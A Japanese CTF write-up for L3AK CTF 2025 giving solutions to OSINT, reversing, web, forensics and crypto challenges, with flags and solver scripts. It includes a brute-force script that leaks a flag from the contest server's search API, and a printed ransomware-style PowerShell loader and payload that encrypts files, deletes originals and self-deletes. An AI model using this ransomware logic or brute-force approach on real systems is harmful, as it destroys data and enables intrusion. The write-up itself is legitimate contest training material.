この大会は2025/7/12 2:00(JST)~2025/7/14 2:00(JST)に開催されました。
今回もチームで参戦。結果は750点で1587チーム中279位でした。
自分で解けた問題をWriteupとして書いておきます。
Sanity Check (Misc)
Discordに入り、#rulesチャネルのトピックを見ると、フラグが書いてあった。
L3AK{W3Lc0mE_t0_L3aKCTF_2025!}
Puzzles - 1 (MIsc)
普通に4×4ピースのジグソーパズルを解いていく。解けなかったら、時間外でパズルを完成させ、画像を保存しておき、同じ問題が出題されたときに、それを参考に解いていく。
1回目で時間内に完成できなかったパズルを完成させた画像は次の通り。








10個のジグソーパズルを解くと、フラグが表示された。
L3AK{1_th4t_w45_pr3tty_34sy}
Sunny Day (OSINT)
特徴的な建物がある部分を中心に画像検索する。

この結果、以下のページが見つかった。
https://quiberon24television.com/liechtenstein-pfarrkirche-triesenberg/
LiechtensteinのPfarrkirche Triesenbergという教会らしい。
Google Mapで調べると、この辺りであることがわかる。
https://www.google.co.jp/maps/@47.117462,9.5459644,3a,75y,155.4h,90.36t/data=!3m7!1e1!3m5!1sbhWDsLgfBdi-npRHjgV4-w!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D-0.3647601735765704%26panoid%3DbhWDsLgfBdi-npRHjgV4-w%26yaw%3D155.40113325330316!7i16384!8i8192?hl=ja&entry=ttu&g_ep=EgoyMDI1MDcwOC4wIKXMDSoASAFQAw%3D%3D

同じ場所をポイントしSubmitすると、フラグが表示された。
L3AK{sUn5H1Ne_iN_L1ecHt3nSTe1n}
Mountain View (OSINT)
周囲を見回すと、さくら咲競プロジェクトの看板が見える。

この部分を中心に画像検索すると、以下のページが見つかる。
http://www.zuzu.bz/ownerblog/2015/04/post_1145.html
花矢倉展望台が近いらしい。
Google Mapで調べると、この辺りであることがわかる。
https://www.google.co.jp/maps/place/%E5%90%89%E9%87%8E%E6%B0%B4%E5%88%86%E7%A5%9E%E7%A4%BE/@34.3561646,135.8722711,3a,75y,304.52h,69.15t/data=!3m7!1e1!3m5!1s86zlurxPtXWtKpK2excdLQ!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D20.847060074789127%26panoid%3D86zlurxPtXWtKpK2excdLQ%26yaw%3D304.52417485538274!7i16384!8i8192!4m6!3m5!1s0x6006c7a82adc244d:0x9d2e3ee2cbf763c2!8m2!3d34.3538425!4d135.8731674!16s%2Fm%2F076zcdq?hl=ja&entry=ttu&g_ep=EgoyMDI1MDcwOC4wIKXMDSoASAFQAw%3D%3D

同じ場所をポイントしSubmitすると、フラグが表示された。
L3AK{y0sh1n0_HAs_gR3At_54KuRA_Bl0s5omS}
Lost Locomotives (OSINT)
周囲を見ると、廃墟のような建物が見える。

この部分を中心に画像検索すると、以下のページが見つかる。
https://kuskaschool.org/en/experiences/
オリャンタイタンボの近くかもしれない。
Google Mapで調べると、この辺りであることがわかる。
https://www.google.co.jp/maps/place/Estaci%C3%B3n+Ferroviaria+de+Ollantaytambo/@-13.2639058,-72.269004,2a,75y,310.15h,60.6t/data=!3m7!1e1!3m5!1swJQ9peDwCIw7wy0KIwFt5Q!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D29.39887875897491%26panoid%3DwJQ9peDwCIw7wy0KIwFt5Q%26yaw%3D310.1491950531581!7i13312!8i6656!4m6!3m5!1s0x916dea6f11c0ce25:0xd22c413e6b08927c!8m2!3d-13.2632454!4d-72.2704137!16s%2Fg%2F1vp707lp?hl=ja&entry=ttu&g_ep=EgoyMDI1MDcwOC4wIKXMDSoASAFQAw%3D%3D

同じ場所をポイントしSubmitすると、フラグが表示された。
L3AK{cH00_Ch0o_1n_P3Ru}
Grain of Truth (OSINT)
田園風景が広がり、電柱の文字が一番特徴的である。

この電柱には以下のように書いてある。
好收 26南分15 K2812 CB64
好收を調べると、台湾の地名であることがわかる。
Google Mapで調べると、この地名は何か所かあるが、嘉義県のこの辺りであることがわかる。
https://www.google.com/maps/place/23%C2%B033'21.1%22N+120%C2%B026'47.2%22E/@23.5558605,120.4464335,3a,75y,156.81h,63.91t/data=!3m7!1e1!3m5!1sl5u45uCJ0ixcUl8GpBL9rg!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D26.094960367632225%26panoid%3Dl5u45uCJ0ixcUl8GpBL9rg%26yaw%3D156.81126125689173!7i16384!8i8192!4m4!3m3!8m2!3d23.55586!4d120.446433?entry=ttu&g_ep=EgoyMDI1MDcwOS4wIKXMDSoASAFQAw%3D%3D

同じ場所をポイントしSubmitすると、フラグが表示された。
L3AK{Wh0_Kn3W_El3ctr1C_p0L3S_W3R3_so_Us3FuL!}
Elephant Enclosure (OSINT)
周囲を見回すと、象が何頭かいて、少し特徴的である。

この部分を中心に画像検索すると、以下のページが見つかる。
https://uncia2.exblog.jp/29772947/
どうやらシンガポール動物園のようだ。
https://merlion-channel.com/singaporezoo/を見ると、象のエリアがわかる。
Google Mapで調べると、この辺りであることがわかる。
https://www.google.co.jp/maps/@1.4053857,103.7961003,3a,75y,275.44h,84.2t/data=!3m7!1e1!3m5!1sZTWlY4pB8JPkxmRxr2_yrw!2e0!6shttps:%2F%2Fstreetviewpixels-pa.googleapis.com%2Fv1%2Fthumbnail%3Fcb_client%3Dmaps_sv.tactile%26w%3D900%26h%3D600%26pitch%3D5.803813682180973%26panoid%3DZTWlY4pB8JPkxmRxr2_yrw%26yaw%3D275.43562923427487!7i13312!8i6656?hl=ja&entry=ttu&g_ep=EgoyMDI1MDcwOC4wIKXMDSoASAFQAw%3D%3D

同じ場所をポイントしSubmitすると、フラグが表示された。
L3AK{E13ph4nTs_4R3_F4sT_AF_https://youtu.be/ccxNteEogrg}
Mildly Disastrous 5ecurity (Hash Cracking)
md5のハッシュ値が提示されているので、クラックする問題。
CrackStationでクラックする。
53e182cbd4daa6680f1a7c7b85eba802 md5 cookiezz 1bfcbffaf03174f022225a62ddf025a8 md5 m00nl!ght 1853572d1b6ae6f644718a6b6df835f9 md5 sauron82
L3AK{cookiezz_m00nl!ght_sauron82}
Strange Transmission (Hardware-RF)
モールス信号のようになっているので、https://morsecode.world/international/decoder/audio-decoder-adaptive.htmlでデコードする。
OHWOWYOUFOUNDOURSECRETMORSECODEAUDIOWELLDONEHEREISTHEFIRSTHALFOFTHEFLAGL3AKOPENBRACKETWELC0M3UNDERSCORET0UNDERSCORETH3UNDERSCOREH4RDW4R3UNDERSCORERFUNDERSCORE
読みづらいので、スペースを入れ、単語ごとに分ける。
OH WOW YOU FOUND OUR SECRET MORSE CODE AUDIO WELL DONE HERE IS THE FIRST HALF OF THE FLAG L3AK OPENBRACKET WELC0M3 UNDERSCORE T0 UNDERSCORE TH3 UNDERSCORE H4RDW4R3 UNDERSCORE RF UNDERSCORE
このことからフラグの前半がわかる。
L3AK{welc0m3_t0_th3_h4rdw4r3_rf_まだフラグの半分しかわかっていない。Audacityでスペクトログラムを見ると、フラグの後半が現れた。

c4teg0ry_w3_h0p3_you_h4ve_fun!}
L3AK{welc0m3_t0_th3_h4rdw4r3_rf_c4teg0ry_w3_h0p3_you_h4ve_fun!}
babyRev (Rev)
Ghidraでデコンパイルする。
undefined8 main(void) { int iVar1; time_t tVar2; size_t __n; int local_c; tVar2 = time((time_t *)0x0); srand((uint)tVar2); init_remap(); signal(2,sigint_handler); printf("Enter flag: "); fflush(stdout); fgets(input,0x40,stdin); for (local_c = 0; input[local_c] != '\0'; local_c = local_c + 1) { if (-1 < (char)input[local_c]) { input[local_c] = remap[(int)(uint)(byte)input[local_c]]; } } __n = strlen(flag); iVar1 = strncmp(input,flag,__n); if (iVar1 == 0) { puts("Correct! Here is your prize."); } else { puts("Wrong flag. Try harder."); } return 0; } void init_remap(void) { int local_c; for (local_c = 0; local_c < 0x80; local_c = local_c + 1) { remap[local_c] = (char)local_c; } remap[0x61] = 0x71; remap[0x62] = 0x77; remap[99] = 0x65; remap[100] = 0x72; remap[0x65] = 0x74; remap[0x66] = 0x79; remap[0x67] = 0x75; remap[0x68] = 0x69; remap[0x69] = 0x6f; remap[0x6a] = 0x70; remap[0x6b] = 0x61; remap[0x6c] = 0x73; remap[0x6d] = 100; remap[0x6e] = 0x66; remap[0x6f] = 0x67; remap[0x70] = 0x68; remap[0x71] = 0x6a; remap[0x72] = 0x6b; remap[0x73] = 0x6c; remap[0x74] = 0x7a; remap[0x75] = 0x78; remap[0x76] = 99; remap[0x77] = 0x76; remap[0x78] = 0x62; remap[0x79] = 0x6e; remap[0x7a] = 0x6d; return; } flag XREF[5]: Entry Point(*), main:00101516(*), main:0010151d(*), main:00101528(*), main:0010152f(*) 00104020 4c 33 41 undefine 4b 7b 6e 67 78 5f 00104020 4c undefined14Ch [0] XREF[5]: Entry Point(*), main:00101516(*), main:0010151d(*), main:00101528(*), main:0010152f(*) 00104021 33 undefined133h [1] 00104022 41 undefined141h [2] 00104023 4b undefined14Bh [3] 00104024 7b undefined17Bh [4] 00104025 6e undefined16Eh [5] 00104026 67 undefined167h [6] 00104027 78 undefined178h [7] 00104028 5f undefined15Fh [8] 00104029 71 undefined171h [9] 0010402a 6b undefined16Bh [10] 0010402b 74 undefined174h [11] 0010402c 5f undefined15Fh [12] 0010402d 66 undefined166h [13] 0010402e 67 undefined167h [14] 0010402f 7a undefined17Ah [15] 00104030 5f undefined15Fh [16] 00104031 75 undefined175h [17] 00104032 67 undefined167h [18] 00104033 66 undefined166h [19] 00104034 66 undefined166h [20] 00104035 71 undefined171h [21] 00104036 5f undefined15Fh [22] 00104037 75 undefined175h [23] 00104038 78 undefined178h [24] 00104039 74 undefined174h [25] 0010403a 6c undefined16Ch [26] 0010403b 6c undefined16Ch [27] 0010403c 5f undefined15Fh [28] 0010403d 64 undefined164h [29] 0010403e 74 undefined174h [30] 0010403f 7d undefined17Dh [31] 00104040 00 undefined100h [32] 00104041 00 undefined100h [33] 00104042 00 undefined100h [34] 00104043 00 undefined100h [35] 00104044 00 undefined100h [36] 00104045 00 undefined100h [37] 00104046 00 undefined100h [38] 00104047 00 undefined100h [39] 00104048 00 undefined100h [40] 00104049 00 undefined100h [41] 0010404a 00 undefined100h [42] 0010404b 00 undefined100h [43] 0010404c 00 undefined100h [44] 0010404d 00 undefined100h [45] 0010404e 00 undefined100h [46] 0010404f 00 undefined100h [47] 00104050 00 undefined100h [48] 00104051 00 undefined100h [49] 00104052 00 undefined100h [50] 00104053 00 undefined100h [51] 00104054 00 undefined100h [52] 00104055 00 undefined100h [53] 00104056 00 undefined100h [54] 00104057 00 undefined100h [55] 00104058 00 undefined100h [56] 00104059 00 undefined100h [57] 0010405a 00 undefined100h [58] 0010405b 00 undefined100h [59] 0010405c 00 undefined100h [60] 0010405d 00 undefined100h [61] 0010405e 00 undefined100h [62] 0010405f 00 undefined100h [63]
$ strings ./babyrev | grep L3AK L3AK{ngx_qkt_fgz_ugffq_uxtll_dt}
これはフラグとして通らない。remapを元に復号する。
#!/usr/bin/env python3 remap = [i for i in range(0x80)] remap[0x61] = 0x71 remap[0x62] = 0x77 remap[99] = 0x65 remap[100] = 0x72 remap[0x65] = 0x74 remap[0x66] = 0x79 remap[0x67] = 0x75 remap[0x68] = 0x69 remap[0x69] = 0x6f remap[0x6a] = 0x70 remap[0x6b] = 0x61 remap[0x6c] = 0x73 remap[0x6d] = 100 remap[0x6e] = 0x66 remap[0x6f] = 0x67 remap[0x70] = 0x68 remap[0x71] = 0x6a remap[0x72] = 0x6b remap[0x73] = 0x6c remap[0x74] = 0x7a remap[0x75] = 0x78 remap[0x76] = 99 remap[0x77] = 0x76 remap[0x78] = 0x62 remap[0x79] = 0x6e remap[0x7a] = 0x6d ct = b'L3AK{ngx_qkt_fgz_ugffq_uxtll_dt}' pt = '' for c in ct: pt += chr(remap.index(c)) print(pt)
L3AK{you_are_not_gonna_guess_me}
Flag L3ak (Web)
3文字ずつ検索することができ、フラグとマッチしていれば、結果として「Not the flag?」の記事が検出される。L3AK{の後から順にブルートフォースでフラグを求める。その際、ブラケット内で"L3"が付くものがあるので、続く文字が"A"以外を探索するよう調整した。
#!/usr/bin/env python3 import requests import json url = 'http://34.134.162.213:17000/api/search' flag = 'L3AK{' for i in range(19): for code in range(33, 127): if i == 2 and code == ord('A'): continue query = flag[-2:] + chr(code) data = {'query': query} json_data = json.dumps(data) headers = {"Content-Type": "application/json"} r = requests.post(url, data=json_data, headers=headers) res = json.loads(r.text) print('[+] results:', res) if res['count'] > 0 and res['results'][0]['id'] == 3: flag += chr(code) break print('[*] flag:', flag)
実行結果は以下の通り。
[+] results: {'results': [], 'count': 0, 'query': 'K{!'}
[+] results: {'results': [], 'count': 0, 'query': 'K{"'}
[+] results: {'results': [], 'count': 0, 'query': 'K{#'}
:
[+] results: {'results': [], 'count': 0, 'query': '??{'}
[+] results: {'results': [], 'count': 0, 'query': '??|'}
[+] results: {'results': [{'id': 3, 'title': 'Not the flag?', 'content': 'Well luckily the content of the flag is hidden so here it is: ************************', 'author': 'admin', 'date': '2025-05-13'}], 'count': 1, 'query': '??}'}
[*] flag: L3AK{L3ak1ng_th3_Fl4g??}
L3AK{L3ak1ng_th3_Fl4g??}
Ghost In The Dark (Forensics)
FTK Imagerで開き、[root]直下を見ると、以下のファイルがある。
・loader.ps1(削除フラグ付き) ・flag.enc ・payload.enc ・RIP_PuppyJaws.enc ・trip_itinerary.enc ・ranson_note.txt
loader.ps1には以下のように書かれている。
$key = [System.Text.Encoding]::UTF8.GetBytes("0123456789abcdef") $iv = [System.Text.Encoding]::UTF8.GetBytes("abcdef9876543210") $AES = New-Object System.Security.Cryptography.AesManaged $AES.Key = $key $AES.IV = $iv $AES.Mode = "CBC" $AES.Padding = "PKCS7" $enc = Get-Content "L:\payload.enc" -Raw $bytes = [System.Convert]::FromBase64String($enc) $decryptor = $AES.CreateDecryptor() $plaintext = $decryptor.TransformFinalBlock($bytes, 0, $bytes.Length) $script = [System.Text.Encoding]::UTF8.GetString($plaintext) Invoke-Expression $script # Self-delete Remove-Item $MyInvocation.MyCommand.Path
このコードを元にpayload.encを復号する。
#!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from base64 import * with open('payload.enc', 'r') as f: ct = b64decode(f.read()) key = b'0123456789abcdef' iv = b'abcdef9876543210' cipher = AES.new(key, AES.MODE_CBC, iv) pt = unpad(cipher.decrypt(ct), 16).decode() print(pt)
復号結果は以下の通り。
$key = [System.Text.Encoding]::UTF8.GetBytes("m4yb3w3d0nt3x1st") $iv = [System.Text.Encoding]::UTF8.GetBytes("l1f31sf0rl1v1ng!") $AES = New-Object System.Security.Cryptography.AesManaged $AES.Key = $key $AES.IV = $iv $AES.Mode = "CBC" $AES.Padding = "PKCS7" # Load plaintext flag from C:\ (never written to L:\ in plaintext) $flag = Get-Content "C:\Users\Blue\Desktop\StageRansomware\flag.txt" -Raw $encryptor = $AES.CreateEncryptor() $bytes = [System.Text.Encoding]::UTF8.GetBytes($flag) $cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length) [System.IO.File]::WriteAllBytes("L:\flag.enc", $cipher) # Encrypt other files staged in D:\ (or L:\ if you're using L:\ now) $files = Get-ChildItem "L:\" -File | Where-Object { $_.Name -notin @("ransom.ps1", "ransom_note.txt", "flag.enc", "payload.enc", "loader.ps1") } foreach ($file in $files) { $plaintext = Get-Content $file.FullName -Raw $bytes = [System.Text.Encoding]::UTF8.GetBytes($plaintext) $cipher = $encryptor.TransformFinalBlock($bytes, 0, $bytes.Length) [System.IO.File]::WriteAllBytes("L:\$($file.BaseName).enc", $cipher) Remove-Item $file.FullName } # Write ransom note $ransomNote = @" i didn't mean to encrypt them. i was just trying to remember. the key? maybe it's still somewhere in the dark. the script? it was scared, so it disappeared too. maybe you'll find me. maybe you'll find yourself. - vivi (or his ghost) "@ Set-Content "L:\ransom_note.txt" $ransomNote -Encoding UTF8 # Self-delete Remove-Item $MyInvocation.MyCommand.Path
このコードを元にflag.encを復号する。
#!/usr/bin/env python3 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad with open('flag.enc', 'rb') as f: ct = f.read() key = b'm4yb3w3d0nt3x1st' iv = b'l1f31sf0rl1v1ng!' cipher = AES.new(key, AES.MODE_CBC, iv) pt = unpad(cipher.decrypt(ct), 16).decode() print(pt)
L3AK{d3let3d_but_n0t_f0rg0tt3n}
Basic LLL (Crypto)
暗号化の処理概要は以下の通り。
・x, a, y, n, p = generate() ・p: 1024ビット素数 ・x: 1以上2**16以下のランダム整数 ・y: 1以上2**256以下のランダム整数 ・a: 2**1023以上2**1024以下のランダム整数 ・q: 2**1024未満のランダム整数 ・n = p * q ・x, a, y, n, pを返却 ・k = x * y + a * p ・e = 65537 ・x, a, n, kを出力 ・m: フラグ ・flag: mを数値化したもの ・c = pow(flag, e, n) ・cを出力
LLLを使ってpを割り出す。あとはRSA暗号として通常通り復号する。
#!/usr/bin/env sage x = 54203 a = 139534605978199350449870348663594126359773246906906418074945064315708552206952695156472923968554408862426942537522569163756593332601739006413404986641247624386522169136633429464195370373009454673819688653512479919153332504769835621608305089536245284458011218876474599059184828911301976396971466368457267831713 n = 12909957208634846878337953184362917609451224905637563117148705894888627434882610771803126452504238664471840340722310690445704139825753660053450331966698205860077330083433391290469454571152366284661640391190008258576947840075212180965738595761925516686689797153224716140447515370184846067654512660266993573880775530634588475842083212670090415716860925772115834314563453955681012820960922892736520042799257599331942717963921797157341454739255402633419216921702659541513141028779948257696746810146033667942181244847983610429227387863821351416689099862418820999250005071861968501333899759899513283613946626413863922604073 k = 24474689179117620559916890529357882261493825442019850679598519081287156822984032786458479363048845076078220151760752906879055457682971398809768604333650029141164831566127754715775782823279839766009120238777348170982471623193652714921064243946655726118484337862412275391615166714375745390409664610412156281691721978732319253694004232933156865189917761521085635692596755802274763409871937618659197646864593743015558828475450200247766980008744319676783526158213931581034209356092026748307730083927225249093712227456855972520574747646873074625455900058136458828591335711677741591552501530047335481073272381631524755666119 c = 11185314040721202177044508537272244264288033276739579716599246665772965854249656943282002695659011960313245796587834222078633141747802754149848079632693280265262199729548775879612614113828267471629389698999657686858047585254549801752634049341009476489652456620836030696102393122618822021082792763848220677651608135328630551380537642144416978955966827336280510774254681264136102268730343853559751471313539810499170669215479225898738527316798768622089152851154959800113070358637984124299357803777453137311143202502153552192970732744885328421213081964363890280109214401691255867427694709196120824176729643585687319321473 e = 65537 X = [[1, 0, x], [0, 1, a], [0, 0, -k]] X = Matrix(X).LLL() p = int(X[2][1]) assert n % p == 0 q = n // p phi = (p - 1) * (q - 1) d = pow(e, -1, phi) flag = int(pow(c, d, n)) m = flag.to_bytes((flag.bit_length() + 7) // 8, 'big').decode() print(m)
L3AK{u_4ctu4lly_pwn3d_LLL_w1th_sh0rt_v3ct0rs_n1c3}
Dumber (Crypto)
ECCの問題。まず4つの点からa, b, pを求める必要がある。
4つの点は以下が成り立つ。
y**2 % p = (x**3 + a * x + b) % p
1つ目と2つ目の点について、差を取る。
a * (x1 - x2) = (y1**2 - x1**3) - (y2**2 - x2**3) (mod p)
4つの点の差について、同様の式が得られる。xの差をdx、y**2 - x**3の差をdfとすると、pの候補は(dx * a - df)のGCDとなる。aが未知のため、各式の差をとってGCDを取り、pを求める。あとは連立方程式を解くことによって、a, bを求める。
#!/usr/bin/env sage from itertools import * pts = [ (103905521866731574234430443362297034336, 116589269353056499566212456950780999584), (171660318017081135625337806416866746485, 122407097490400018041253306369079974706), (161940138185633513360673631821653803879, 167867902631659599239485617419980253311), (95406403280474692216804281695624776780, 109560844064302254814641159241201048462), ] xs = [x for x, y in pts] ys = [y for x, y in pts] fs = [ys[i]^2 - xs[i]^3 for i in range(4)] diffs = [] for i in range(3): for j in range(i + 1, 4): dx = xs[i] - xs[j] df = fs[i] - fs[j] if dx != 0: diffs.append((dx, df)) vals = [dx * df2 - dx2 * df for (dx, df), (dx2, df2) in combinations(diffs, 2)] p = gcd(vals) F = GF(p) A = Matrix(F, [[xs[0], 1], [xs[1], 1]]) b_vec = vector(F, [fs[0], fs[1]]) a_b = A.solve_right(b_vec) a, b = a_b[0], a_b[1] for i in range(4): assert ys[i]^2 % p == (xs[i]^3 + a * xs[i] + b) % p print('[+] a:', a) print('[+] b:', b) print('[+] p:', p)
実行結果は以下の通り。
[+] a: 121547024516589838748345110141426750807 [+] b: 7914092104289289683791712783390872437 [+] p: 190306311675782392867397794563277638587
楕円曲線を作って、orderを確認してみると、pと同じ値になっているので、SSSA Attackが使える。
#!/usr/bin/env python2 from ecpy import * from Crypto.Util.number import * pts = [ (103905521866731574234430443362297034336, 116589269353056499566212456950780999584), (171660318017081135625337806416866746485, 122407097490400018041253306369079974706), (161940138185633513360673631821653803879, 167867902631659599239485617419980253311), (95406403280474692216804281695624776780, 109560844064302254814641159241201048462), ] xs = [x for x, y in pts] ys = [y for x, y in pts] a = 121547024516589838748345110141426750807 b = 7914092104289289683791712783390872437 p = 190306311675782392867397794563277638587 F = FiniteField(p) E = EllipticCurve(F, a, b) P = E(xs[0], ys[0]) U = E(xs[1], ys[1]) Q = E(xs[2], ys[2]) V = E(xs[3], ys[3]) m1 = SSSA_Attack(F, E, P, U) m2 = SSSA_Attack(F, E, Q, V) pt1 = long_to_bytes(m1).decode() pt2 = long_to_bytes(m2).decode() flag = pt1 + pt2 print(flag)
L3AK{5m4rt1_1n_Th3_h00000d!!!}
Shiro Hero (Crypto)
暗号化処理の概要は以下の通り。
・state: 4個の64ビット整数の配列 ・prng = xorshiro256(state) ・prng.s = state ・leaks: 4個のprng.next_raw()の配列 ・leaksの各値を16進数で標準出力 ・Apriv, Apub = ECDSA.gen_keypair() ・d: 1以上ECDSA.n - 1以下のランダム整数 ・Q = d * G ・d, Qを返却 ・Apubを標準出力 ・msg: 既知固定文字列 ・H: msgを数値化したもの ・sig = ECDSA.ecdsa_sign(H, Apriv, prng) ・k = prng() % ECDSA.n ・x: k * Gのx座標 ・r = x % ECDSA.n ・s = (inverse(k, ECDSA.n) * (h + r * d)) % ECDSA.n ・r, sを返却 ・msg, H, sigを標準出力 ・key = hashlib.sha256(long_to_bytes(Apriv)).digest() ・iv: ランダム128ビット整数値を16バイト文字列に変換したもの ・cipher: key, ivを使ったAES CBC暗号オブジェクト ・ciphertext: ivの16進数表記文字列 + flagをパディングし、cipherで暗号化したものの16進数表記文字列 ・ciphertextを標準出力 ・output.txtに以下を書き込み ・leaksの各値の16進数 ・Apub ・msg ・H ・sig ・ciphertext
leaksの値からstateの4つの値をz3で解く。あとはkを算出できるので、それからdを算出できる。d(=Apriv)を元に鍵を生成しているので、フラグを復号することができる。
#!/usr/bin/env python3 from z3 import * from prng import xorshiro256 from Crypto.Cipher import AES from Crypto.Util.Padding import unpad from ecc import ECDSA from Crypto.Util.number import * import hashlib with open('output.txt', 'r') as f: params = f.read().splitlines() leaks = eval(params[0].split(': ')[1]) Apub = eval(params[1].split(' = ')[1]) msg = eval(params[2].split(' = ')[1]) H = int(params[3].split(' = ')[1]) sig = eval(params[4].split(' = ')[1]) ciphertext = params[5].split(' = ')[1] x = [BitVec('x%d' % i, 64) for i in range(4)] s = Solver() state = [w for w in x] prng = xorshiro256(state) for i in range(4): s.add(prng.next_raw() == int(leaks[i], 16)) r = s.check() assert r == sat m = s.model() state = [m[x[i]].as_long() for i in range(4)] prng = xorshiro256(state) for i in range(4): assert prng.next_raw() == int(leaks[i], 16) assert bytes_to_long(msg) == H while True: k = prng() % ECDSA.n if not k: continue x, _ = ECDSA.scalar_mult(k, ECDSA.G) if x is None: continue r = x % ECDSA.n if r == sig[0]: break d = (sig[1] * k - H) * inverse(r, ECDSA.n) % ECDSA.n assert Apub == ECDSA.scalar_mult(d, ECDSA.G) key = hashlib.sha256(long_to_bytes(d)).digest() iv = bytes.fromhex(ciphertext)[:16] ct = bytes.fromhex(ciphertext)[16:] cipher = AES.new(key, AES.MODE_CBC, iv) flag = unpad(cipher.decrypt(ct), 16).decode() print(flag)
L3AK{u_4r3_th3_sh1r0_h3r0!}